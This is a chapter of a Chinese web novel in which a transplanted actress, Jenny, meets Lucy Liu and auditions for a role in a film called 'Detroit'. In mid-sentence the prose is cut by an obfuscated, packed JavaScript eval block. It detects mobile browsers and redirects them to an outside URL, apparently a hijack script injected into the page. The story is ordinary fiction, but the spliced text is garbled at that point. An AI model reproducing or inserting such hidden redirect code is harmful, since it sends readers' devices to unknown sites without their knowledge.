“谢谢。”露西.刘在现实生活中显得分外瘦小,脸完全就只有巴掌大,身形纤弱得不行,随便一拳可以被打飞出去的那种,她和珍妮握了握手。“也很高兴认识你,我是《CIA》的粉丝,你在那一集的表现让我印象深刻。” “我相信你不是说客气话,起码你居然坚持到演员表,找到了我的名字。”珍妮说。 露西.刘笑了,“哇,你在现实中真的很不一样,我刚才差点没认出你。在镜头里,你非常张扬外放,但在这里我甚至可以说你有些不起眼,虽然你很漂亮。” 珍妮完全认可她的说法,不论陈贞还是珍妮原来的身体,其实都是气质平淡的类型。——这种描述可能很抽象,但放在现实里人人都能理解,有些人虽然美,但不起眼,有些人长得一般,可是气质抢眼,这就是所谓的明星气场了。 “你是在夸奖我很有演技吗?”珍妮冲她眨了眨眼。 露西大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274138|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,“是,我是在夸奖你很有演技。” 她压低了声音,“今天的试镜里,你是最让我感觉危险的对手。” 虽然是这么说,但她的语气很随便,露西.刘显然对这个角色并不是非常志在必得。 珍妮看了看一屋子的人,的确也没有什么知名演技派,再加上她在镜头前的表现其实是作弊,所以她认为露西眼光真的不错,“但在你跟前我没什么信心,你有名也有演技,又很漂亮。我呢——” 她耸了耸肩。 “不,”露西.刘摇了摇头。“虽然你说得都对,但反而是我在你跟前没什么信心。如果我们表现得一样好,我觉得应该是你得到这个角色。” “为什么,因为我便宜?”珍妮问。 露西.刘很平静、很自然地说,“因为你是白人,我是亚裔,其实就这么简单。” 珍妮没话说了——事实上,她之所以还会去试着完成所谓制霸好莱坞的任务,完全是因为她起码自身条件不错,是个白种美女,如果她是原身穿越过来,又或者重生到亚裔身上,那么陈贞根本都不会去试。演艺圈是全美国种族歧视、性别歧视最严重的行业,这并不是因为从业者心胸狭窄,而是市场浓缩观众喜好需求的自然结果。 不过具体到《底特律》,从最后结果来看,最终得到角色的还是露西.刘,所以珍妮对这一次试镜的信心依然不大,她说,“不如我们来打个赌,一会试镜出来以后我等你,然后赌赌是谁得到这个角色?” “哈哈!”露西被逗笑了,“没问题,我们可以在午餐时候商量赌注。” 试镜间门口开始叫珍妮的名字,珍妮来不及多说什么,和露西点头笑了一下,也不理会室内投来或明或暗的眼光,整理出最好的状态,走进试镜间里。 当然一如既往,试镜间里有好几个人,不过让珍妮吃了一惊的是,坐在长桌后的两个人里,居然有一个是导演杰斯.马修本人。 看来,马修对自己的第一部电影非常重视,所以连几分钟的角色都要亲自试镜。当然他这一坐,另一个人也不会是别人了,应该就是制片人,或者制片方的代表,毕竟只有这样一个级别的人物,才能抗衡导演的决定,不把试镜会变成导演的一言堂。 珍妮在心底快速地想着,冲导演和制片方都露出了灿烂的笑容,这笑容她练习过起码一周,绝对绚烂。 “珍妮,我们都看过你的视频简历,虽然你的履历薄弱,但你胜在够漂亮。”马修开门见山,一边用手势示意珍妮就坐,一边翻看资料。“而且你能歌善舞,这对电影来说很重要。” 珍妮都不知道自己还有视频简历,这估计又是切萨雷的手笔,她保持微笑,“谢谢。” “不过,你最终进入面试名单,最主要的原因是我喜欢你身上的好莱坞黄金时代气质,嚣张、性感,非常的老好时光,”马修说,“但吉蒂这个角色需要多一些暴躁的感觉,她疯狂、绝望,就像是末路狂花一样,有一种野兽派的迷人气息,现在我希望你做几个暴躁的表情。” 珍妮没想到马修居然连读剧本试演都没安排,直接就上了基本功考核。她有些本能的慌乱,但还好,这几个月做的充足准备救了她,即使没有金手指的帮助,珍妮也很容易地沉浸到反复练习并且观看过成品的角色里,以‘吉蒂’的身份对着镜头露出了几个似笑非笑的不屑表情。 她表演得比较内敛,仿佛面对的是正在不断提问的无聊记者,而她正在看着对方的笑话。 “很好,现在希望你来几个狂怒的表情,你能分清区别吗?你可以说些台词,自己编就好。”马修立刻往下说,没给她什么调整的空间。 珍妮感觉如果她停下来调整,可能要丢分,她甚至来不及选片开金手指,只能凭着多次的练习,本能地在虚拟的狱警手下挣扎扭动起来,冲着记者嚷道,“我给你三个字——去死吧!” “OK。”马修脸上看不出什么表情。“现在你能给我唱几句吗?” 珍妮只好立刻抽离情绪,给马修唱了《底特律》剧里的名曲《Nowadays》,这首歌她因为一直很喜欢,也学过,自我感觉倒是唱得不错的。 然后面试就到此结束,她根本没有颠倒众生的时间,就是想要惊艳导演也没这个机会。珍妮走出去的时候觉得自己刚才经历的是一场彻头彻尾的人情试镜,对方完全就是走个过场,然后就可以把她刷掉了。 她和露西的姓氏字母很接近,所以她之后就是露西.刘,珍妮稍微计算了下,她在试镜间里只呆了五分钟,可能是所有人中最短的一个,而露西.刘进去了足足二十分钟。 她出来的时候面上还是笑盈盈的,显然,这是一场很愉快的面试。 虽然早有准备,但珍妮的心情还是很糟:这场试镜应该没戏了,她已经错过了这个大好的机会。而最让人沮丧的,并不是她的失败,而是她根本没有表现,就已经被人先行判负。